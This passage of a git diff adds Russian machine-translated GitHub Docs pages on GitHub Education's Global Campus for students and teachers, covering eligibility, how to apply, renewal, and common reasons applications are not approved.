3abdbdbb47a9319f20e11845e9c2d8a7fce63422 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148165100' +--- +Использование {% data variables.product.prodname_dotcom %} для учебных проектов — это практическая методика совместной работы с другими пользователями и создания портфеля достижений, который демонстрирует реальный опыт. + +Все пользователи с учетной записью {% data variables.product.prodname_dotcom %} могут совместно работать в неограниченных общедоступных и частных репозиториях с {% data variables.product.prodname_free_user %}. Как учащийся, вы также можете подать заявку на {% data variables.product.prodname_education %}. Ваши преимущества и ресурсы учащегося в рамках {% data variables.product.prodname_education %} входят в {% data variables.product.prodname_global_campus %}, портал, который позволяет получить доступ к образовательным преимуществам в одном месте. Дополнительные сведения см. в разделе [Заявка на GitHub Global Campus в качестве учащегося](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student) и [{% data variables.product.prodname_education %}](https://education.github.com/). + +Прежде чем подать заявку на Global Campus, убедитесь, что ваше сообщество уже сотрудничает с нами в качестве учебного заведения{% data variables.product.prodname_campus_program %}. Дополнительные сведения см. в разделе "[Сведения о {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)". + +Если вы являетесь участником школьного клуба, ваш преподаватель может подать заявку на {% data variables.product.prodname_global_campus %}, чтобы наладить эффективную совместную работу вашей команды с помощью {% data variables.product.prodname_team %}, который позволяет бесплатно подключить неограниченное количество пользователей и частных репозиториев. Дополнительные сведения см. в разделе [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). + +Когда вы пройдете проверку {% data variables.product.prodname_global_campus %}, вы сможете получить доступ к {% data variables.product.prodname_global_campus %} в любое время, перейдя на [веб-сайт {% data variables.product.prodname_education %}](https://education.github.com). + +![Портал {% data variables.product.prodname_global_campus %} для учащихся](/assets/images/help/education/global-campus-portal-students.png) + +## Функции {% data variables.product.prodname_global_campus %} для учащихся + +{% data variables.product.prodname_global_campus %} — это портал, с которого можно получить доступ к преимуществам и ресурсам {% data variables.product.prodname_education %}. На портале {% data variables.product.prodname_global_campus %} учащиеся могут: +- Обратиться к местному Campus Expert. Дополнительные сведения о Campus Expert см. в разделе [Сведения о Campus Expert](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts). +- Изучить и запросить бесплатные отраслевые инструменты из [пакета для учащихся-разработчиков](https://education.github.com/pack). +- Ознакомиться с предстоящими реальными и виртуальными событиями для учащихся, курируемыми {% data variables.product.prodname_education %} и лидерами среди учащихся. +- Просмотреть задания из [GitHub Classroom](https://classroom.github.com/) с датами выполнения. +- Следить за происходящим в сообществе, пересматривая последние серии [Campus TV](https://www.twitch.tv/githubeducation). Campus TV создается {% data variables.product.prodname_dotcom %} и лидерами студенческих сообществ. Серии можно смотреть в прямом эфире или по запросу. +- Находить созданные учащимися репозитории на GitHub Community Exchange. Дополнительные сведения см. в разделе [Сведения о GitHub Community Exchange](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange). + +Учащиеся{% data variables.product.prodname_global_campus %} также получают следующие преимущества {% data variables.product.prodname_dotcom %}. +- **{% data variables.product.prodname_copilot %}**: проверенные учащиеся получают бесплатную подписку на {% data variables.product.prodname_copilot %}. Вы автоматически получите уведомление о бесплатной подписке при посещении страницы подписки {% data variables.product.prodname_copilot %} в параметрах учетной записи. Дополнительные сведения о подписке и использовании {% data variables.product.prodname_copilot %} см. в разделах [Управление подпиской на {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription#setting-up-a-trial-of-github-copilot) и [Сведения о {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot). +- **{% data variables.product.prodname_github_codespaces %}**: {% data reusables.education.student-codespaces-benefit %} Дополнительные сведения о начале работы с {% data variables.product.prodname_github_codespaces %} см. в разделе Общие сведения о [{% data variables.product.prodname_github_codespaces %}](/codespaces/overview). + +{% note %} + +**Примечание.** {% data reusables.education.note-on-student-codespaces-usage %} Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} с {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom). + +{% endnote %} + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_global_campus %} для преподавателей](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers) +- [Сведения о {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md new file mode 100644 index 000000000000..63a95e32a2e7 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student.md @@ -0,0 +1,64 @@ +--- +title: Заявка на GitHub Global Campus в качестве учащегося +intro: 'Как учащийся вы можете присоединиться к {% data variables.product.prodname_global_campus %} и получить доступ к ресурсам и преимуществам {% data variables.product.prodname_education %}.' +redirect_from: + - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack + - /github/teaching-and-learning-with-github-education/applying-for-a-student-developer-pack + - /articles/applying-for-a-student-developer-pack + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack +versions: + fpt: '*' +shortTitle: Apply to Global Campus +ms.openlocfilehash: 7c2026b0aa692c632e29a0b4e866575faa6fa0d8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107184' +--- +{% data reusables.education.about-github-education-link %} + +## Требования + +Чтобы получить доступ к {% data variables.product.prodname_global_campus %}, включая {% data variables.product.prodname_student_pack %} и другие преимущества, вы должны: +- Быть зарегистрированным в учебном курсе, по результатам которого присваивается степень или выдается диплом (например, в профтехучилище, колледже, университете, системе домашнего обучения или аналогичном учебном заведении). +- Иметь действующий адрес электронной почты, выделенный учебным заведением, или отправьте документы, подтверждающие текущее состояние учащегося. +- Иметь [личную учетную запись {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account) +- Быть старше 13 лет + +Документы, подтверждающие текущий статус учащегося, содержат изображение идентификатора учебного заведения с текущей датой регистрации, расписание занятий, расшифровку и письмо о подтверждении аффилиации или регистрации. + +Пока вы имеете статус учащегося, вы вправе периодически запрашивать повторную проверку текущего академического статуса. + +{% note %} + +**Примечание.** Вы не можете переносить академические скидки из одной учетной записи в другую. Если у вас несколько учетных записей, к которым вы хотите применить скидку, при необходимости можно [объединить](/articles/merging-multiple-user-accounts) личные учетные записи и [переименовать](/articles/changing-your-github-username) сохраненную учетную запись. + +{% endnote %} + +Сведения о продлении доступа к {% data variables.product.prodname_global_campus %} см. в разделе [Срок действия и продление](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student/#expiration-and-renewals). + +## Заявка на {% data variables.product.prodname_global_campus %} + +{% data reusables.education.benefits-page %} +1. В разделе "Частные лица" щелкните **Получить льготы для учащихся**. + !["Получить преимущества для учащихся" на домашней странице {% data variables.product.prodname_education %}](/assets/images/help/education/click-get-student-benefits.png) +1. В разделе "Выберите академический статус" выберите **Учащийся**. + ![Выберите академическое состояние](/assets/images/help/education/academic-status-student.png) {% data reusables.education.select-email-address %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.upload-proof-status %} {% data reusables.education.submit-application %} + +## Срок действия и продление + +После истечения срока действия прав доступа к {% data variables.product.prodname_global_campus %} вы можете повторно подать заявку, если вы все еще имеете на это право, хотя для некоторых предложений наших партнеров в {% data variables.product.prodname_student_pack %} продление не поддерживается. Большинство предложений наших партнеров с ограниченным сроком действия начинают действовать после их настройки. Чтобы повторно подать заявку, просто вернитесь к https://education.github.com, щелкните свое изображение профиля, а затем нажмите кнопку **Повторно подтвердить свой статус в учебном заведении**. + +![Команда в меню для восстановления вашего статуса в учебном заведении](/assets/images/help/education/reverify-academic-affiliation.png) + +Дополнительные сведения см. на странице [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). + +Чтобы узнать, когда истекает срок действия бесплатного доступа к {% data variables.product.prodname_student_pack %}, перейдите в раздел [параметров выставления счетов](https://github.com/settings/billing) вашей учетной записи. + +## Дополнительные материалы + +- [Почему моя заявка на {% data variables.product.prodname_student_pack %} не утверждена?](/articles/why-wasn-t-my-application-for-a-student-developer-pack-approved) +- [Регистрация для новой учетной записи {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account) +- [{% data variables.product.prodname_education %}](https://education.github.com) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md new file mode 100644 index 000000000000..61e80876f755 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/index.md @@ -0,0 +1,24 @@ +--- +title: GitHub Global Campus для учащихся +intro: 'В качестве учащегося используйте {% data variables.product.prodname_dotcom %} для совместной работы над школьными проектами и получения реального опыта.' +redirect_from: + - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork + - /github/teaching-and-learning-with-github-education/using-github-for-your-schoolwork + - /articles/using-github-for-your-schoolwork + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork +versions: + fpt: '*' +children: + - /about-github-global-campus-for-students + - /apply-to-github-global-campus-as-a-student + - /why-wasnt-my-application-to-global-campus-for-students-approved + - /about-github-community-exchange +shortTitle: About Global Campus for students +ms.openlocfilehash: 3f61867f7d7365635a8b2d3bd53a19b0180d0604 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109464' +--- + diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md new file mode 100644 index 000000000000..db51cf150018 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved.md @@ -0,0 +1,79 @@ +--- +title: Почему моя заявка на Global Campus для учащихся не одобрена? +intro: 'Ознакомьтесь с распространенными причинами, по которым заявки на {% data variables.product.prodname_global_campus %} не одобряются, и изучите рекомендации, чтобы подать заявку повторно.' +redirect_from: + - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved + - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved + - /articles/why-was-my-application-for-a-student-developer-pack-denied + - /articles/why-wasn-t-my-application-for-a-student-developer-pack-approved + - /articles/why-wasnt-my-application-for-a-student-developer-pack-approved + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved +versions: + fpt: '*' +shortTitle: Application not approved +ms.openlocfilehash: 929d64e8a33f53d1292ae75e09e0200af6b2ab73 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147574215' +--- +{% tip %} + +**Подсказка**. {% data reusables.education.about-github-education-link %} + +{% endtip %} + +## Неубедительные документы об академической принадлежности + +Если даты или расписание, указанные на отправленном изображении, не подходят под наши критерии соответствия, нам потребуется дополнительное подтверждение вашего статуса учащегося. + +Если загруженное изображение нечетко определяет ваш текущий статус учащегося или загруженное изображение размыто, нам потребуется дополнительное подтверждение вашего статуса учащегося. {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +## Использование рабочей электронной почты с непроверенным доменом + +Если ваш адрес электронной почты учащегося имеет неподтвержденный домен, нам потребуется дополнительное подтверждение вашего статуса учащегося. {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +## Использование рабочей электронной почты из школы с недостаточными политиками электронной почты + +Если ваше учебное заведение выдает адреса электронной почты к платной регистрации учащихся, мы требуем дальнейшего подтверждения вашего статуса учащегося. {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +Если у вас есть другие вопросы или опасения по поводу домена учебного заведения, обратитесь к ИТ-персоналу учебного заведения, чтобы связаться с нами. + +## Адрес электронной почты учащегося уже используется + +Если ваш адрес электронной почты учащегося уже использовался для запроса {% data variables.product.prodname_student_pack %} для другой учетной записи {% data variables.product.prodname_dotcom %}, вы не можете повторно использовать адрес электронной почты учащегося, чтобы успешно подать заявку на другой {% data variables.product.prodname_student_pack %}. + +{% note %} + +**Примечание.** Это касается [Условия предоставления услуг](/articles/github-terms-of-service/#3-account-requirements) {% data variables.product.prodname_dotcom %} для обслуживания нескольких отдельных учетных записей. + +{% endnote %} + +Если у вас несколько личных учетных записей, необходимо их объединить. Чтобы сохранить скидку, сохраните учетную запись, для которой была предоставлена эта скидка. Вы можете переименовать сохраненную учетную запись и сохранить историю своих вкладов, добавив все свои адреса электронной почты в сохраненную учетную запись. + +Дополнительные сведения см. в разделе: +- [Объединение нескольких личных учетных записей](/articles/merging-multiple-user-accounts) +- [Изменение имени пользователя {% data variables.product.prodname_dotcom %}](/articles/changing-your-github-username) +- [Добавление адреса электронной почты в учетную запись {% data variables.product.prodname_dotcom %}](/articles/adding-an-email-address-to-your-github-account). + +## Несоответствующий требованиям статус учащегося + +Вы не соответствуете требованиям для {% data variables.product.prodname_student_pack %}, если: +- Вы зачислены в неформальную программу обучения, которая не является частью [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) и не зарегистрирована в качестве учебного курса, по окончанию которого присваивается степень или выдается диплом. +- Получение степени будет завершено во время текущей академической сессии. +- Вам не исполнилось 13 лет. + +Ваш преподаватель по-прежнему может подать заявку на скидку {% data variables.product.prodname_education %} для использования в классе. Если вы учащийся в школе программирования или учебном лагере, вы получите право на {% data variables.product.prodname_student_pack %}, если ваше учебное заведение присоединится к [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). + +## Дополнительные материалы + +- [Получение пакета средств разработки GitHub для учащихся без идентификатора учащегося](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/) ({% data variables.product.prodname_blog %}) +- [Заявка на {% data variables.product.prodname_global_campus %} в качестве учащегося](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md new file mode 100644 index 000000000000..bd52ab8b84a3 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers.md @@ -0,0 +1,41 @@ +--- +title: Сведения о GitHub Global Campus для преподавателей +intro: '{% data variables.product.prodname_global_campus %} предлагает преподавателям централизованный доступ к средствам и ресурсам для более эффективной работы в аудитории и за ее пределами.' +redirect_from: + - /education/teach-and-learn-with-github-education/about-github-education-for-educators-and-researchers + - /github/teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers + - /articles/about-github-education-for-educators-and-researchers + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers +versions: + fpt: '*' +shortTitle: For teachers +ms.openlocfilehash: 2a93f87df67d1694bd93888d29a582afa9c749e4 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158968' +--- +Как преподаватель в аккредитованном учебном заведении, вы можете подать заявку на {% data variables.product.prodname_global_campus %}, включая преимущества и ресурсы {% data variables.product.prodname_education %}. Дополнительные сведения см. в разделе [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). + +{% data variables.product.prodname_global_campus %} — это портал, который позволяет сообществу GitHub Education Community получить доступ к преимуществам образования. И все это в одном месте! Когда вы пройдете проверку {% data variables.product.prodname_global_campus %}, вы сможете получить доступ к {% data variables.product.prodname_global_campus %} в любое время, перейдя на [веб-сайт {% data variables.product.prodname_education %}](https://education.github.com). + +![Портал {% data variables.product.prodname_global_campus %} для преподавателей](/assets/images/help/education/global-campus-portal-teachers.png) + +Прежде чем подать заявку на персональную скидку, убедитесь, что ваше сообщество уже сотрудничает с нами в качестве учебного заведения{% data variables.product.prodname_campus_program %}. Дополнительные сведения см. в разделе "[Сведения о {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)". + +## Функции {% data variables.product.prodname_global_campus %} для преподавателей + +{% data variables.product.prodname_global_campus %} — это портал, с которого можно получить доступ к преимуществам и ресурсам {% data variables.product.prodname_education %}. На портале {% data variables.product.prodname_global_campus %} преподаватели всех уровней могут: {% data reusables.education.apply-for-team %} + - Просмотреть обзор активных [{% data variables.product.prodname_classroom %}](https://classroom.github.com), включая последние задания и ход выполнения, а также ссылки на {% data variables.product.prodname_classroom %}. + - Просмотреть [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education), публикуемые коллегами по всему миру, чтобы обсудить текущие тенденции в области технологического образования и просмотреть последние записи из нашего [блога о {% data variables.product.prodname_education %}](https://github.blog/category/education/). + - Просмотреть события для учащихся, курируемые {% data variables.product.prodname_education %} и лидерами сообщества учащихся. + - Следить за происходящим в сообществе учащихся, пересматривая последние серии [Campus TV](https://www.twitch.tv/githubeducation). Campus TV создается {% data variables.product.prodname_dotcom %} и лидерами студенческих сообществ. Серии можно смотреть в прямом эфире или по запросу. + - Запросите контейнер данных {% data variables.product.prodname_dotcom %} с учебными материалами и товарами для учащихся. + +Для проверенных преподавателей с {% data variables.product.prodname_education %} доступна бесплатная подписка на {% data variables.product.prodname_copilot %}. Вы автоматически получите уведомление о бесплатной подписке при посещении страницы подписки {% data variables.product.prodname_copilot %} в параметрах учетной записи. Дополнительные сведения о подписке и использовании {% data variables.product.prodname_copilot %} см. в разделах [Управление подпиской на {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription#setting-up-a-trial-of-github-copilot) и [Сведения о {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot). + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_global_campus %} для учащихся](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md new file mode 100644 index 000000000000..d7c2ed2e61f2 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher.md @@ -0,0 +1,44 @@ +--- +title: Заявка на GitHub Global Campus в качестве преподавателя +intro: 'Как преподаватель вы можете присоединиться к {% data variables.product.prodname_global_campus %} и получить доступ к ресурсам и преимуществам {% data variables.product.prodname_education %}.' +redirect_from: + - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount + - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount + - /articles/applying-for-a-classroom-discount + - /articles/applying-for-a-discount-for-your-school-club + - /articles/applying-for-an-academic-research-discount + - /articles/applying-for-a-discount-for-your-first-robotics-team + - /articles/applying-for-an-educator-or-researcher-discount + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount +versions: + fpt: '*' +shortTitle: Apply to Global Campus +ms.openlocfilehash: 52bc1182dcc4db72e0a1e9cbca5d5f1171293d69 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106616' +--- +## О скидках для преподавателей + +{% data reusables.education.about-github-education-link %} + +{% data reusables.education.educator-requirements %} + +Дополнительные сведения о личных учетных записях в {% data variables.product.product_name %} см. в разделе [Регистрация новой учетной записи {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-a-new-github-account). + +## Заявка на {% data variables.product.prodname_global_campus %} + +{% data reusables.education.benefits-page %} {% data reusables.education.click-get-teacher-benefits %} +1. В разделе "Выберите академический статус" выберите **Преподаватель**. + + ![Снимок экрана: выбор академического состояния](/assets/images/help/education/academic-status-teacher.png) "Преподаватель" {% data reusables.education.select-email-address %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.upload-proof-status %} {% data reusables.education.submit-application %} + +## Дополнительные материалы + +- [Почему моя заявка на Global Campus для преподавателей не одобрена?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved) +- [{% data variables.product.prodname_education %}](https://education.github.com) +- [{% data variables.product.prodname_classroom %} Видеоролики](https://classroom.github.com/videos) +- [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %}) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md new file mode 100644 index 000000000000..435d0dda9e48 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/index.md @@ -0,0 +1,23 @@ +--- +title: GitHub Global Campus для преподавателей +intro: "Преподаватели могут использовать {% data variables.product.prodname_dotcom %} для совместной работы в аудитории, группе учащихся или исследователей и т.\_д." +redirect_from: + - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research + - /github/teaching-and-learning-with-github-education/using-github-in-your-classroom-and-research + - /articles/using-github-in-your-classroom-and-research + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research +versions: + fpt: '*' +children: + - /about-github-global-campus-for-teachers + - /apply-to-github-global-campus-as-a-teacher + - why-wasnt-my-application-to-global-campus-for-teachers-approved +shortTitle: About Global Campus for teachers +ms.openlocfilehash: b29cc4c76f0eb407dafb4080061f7f8a4c9cf62b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108896' +--- + diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md new file mode 100644 index 000000000000..ba65905419a2 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved.md @@ -0,0 +1,54 @@ +--- +title: Почему моя заявка на Global Campus для преподавателей не одобрена? +intro: 'Ознакомьтесь с распространенными причинами, по которым заявки на {% data variables.product.prodname_global_campus %} не одобряются, и изучите рекомендации, чтобы подать заявку повторно.' +redirect_from: + - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved + - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved + - /articles/why-was-my-application-for-an-educator-or-researcher-discount-denied + - /articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved + - /articles/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved +versions: + fpt: '*' +shortTitle: Application not approved +ms.openlocfilehash: 68fe0a970c94a73293505849425bc78ec78b265e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108895' +--- +{% tip %} + +**Подсказка**. {% data reusables.education.about-github-education-link %} + +{% endtip %} + +## Недостаточное подтверждение документов о принадлежности + +Если отправленное изображение недостаточно четко определяет вашу текущую занятость в учебном заведении, необходимо повторно применить и передать другое изображение идентификатора сотрудника факультета или письмо о подтверждении занятости с четкой информацией. + +{% data reusables.education.pdf-support %} + +## Использование рабочей электронной почты с непроверенным доменом + +Если ваш рабочий адрес электронной почты имеет непроверенный домен, мы можем потребовать дополнительного подтверждения вашего статуса в учебном заведении. {% data reusables.education.upload-different-image %} + +{% data reusables.education.pdf-support %} + +## Использование рабочей электронной почты из школы с недостаточными политиками электронной почты + +Если выпускники и уволившиеся преподаватели вашего учебного заведения имеют доступ к адресам электронной почты, выделенным школой, нам может потребоваться дополнительное подтверждение вашего статуса в учебном заведении. {% data reusables.education.upload-different-image %} + +{% data reusables.education.pdf-support %} + +Если у вас есть еще вопросы или опасения по поводу домена учебного заведения, попросите ИТ-специалистов связаться с нами. + +## Пользователь, не являющийся учащимся, подает заявку на Student Developer Pack + +Преподаватели не имеют права использовать партнерские предложения, которые поставляются с [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). При повторном использовании выберите **Преподаватели**, чтобы описать свой статус в учебном заведении. + +## Дополнительные материалы + +- [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md new file mode 100644 index 000000000000..1d3360703ee1 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/index.md @@ -0,0 +1,22 @@ +--- +title: Изучение преимуществ обучения и преподавания с помощью GitHub Education +shortTitle: Explore +intro: 'Узнайте, как {% data variables.product.prodname_education %} может использовать преимущества работы в аудитории, учебной работы или исследований, а также узнайте, как подать заявку на бесплатный доступ к различным инструментам разработчика от партнеров {% data variables.product.company_short %}.' +redirect_from: + - /education/teach-and-learn-with-github-education + - /github/teaching-and-learning-with-github-education + - /categories/teaching-and-learning-with-github-education +versions: + fpt: '*' +children: + - /github-global-campus-for-students + - /github-global-campus-for-teachers + - /use-github-at-your-educational-institution +ms.openlocfilehash: 0305b65dc5286123f9cba978fe36ef9b0a05c907 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147684729' +--- + diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md new file mode 100644 index 000000000000..52d3ccd68e83 --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-experts.md @@ -0,0 +1,20 @@ +--- +title: Сведения об экспертах по кампусным сетям +intro: 'Учащиеся смогут получить навыки, необходимые для формирования технологического сообщества в учебном заведении и портфеля реальных технологий благодаря программе обучения Campus Experts {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /education/teach-and-learn-with-github-education/about-campus-experts + - /github/teaching-and-learning-with-github-education/about-campus-experts + - /articles/about-campus-experts + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-experts 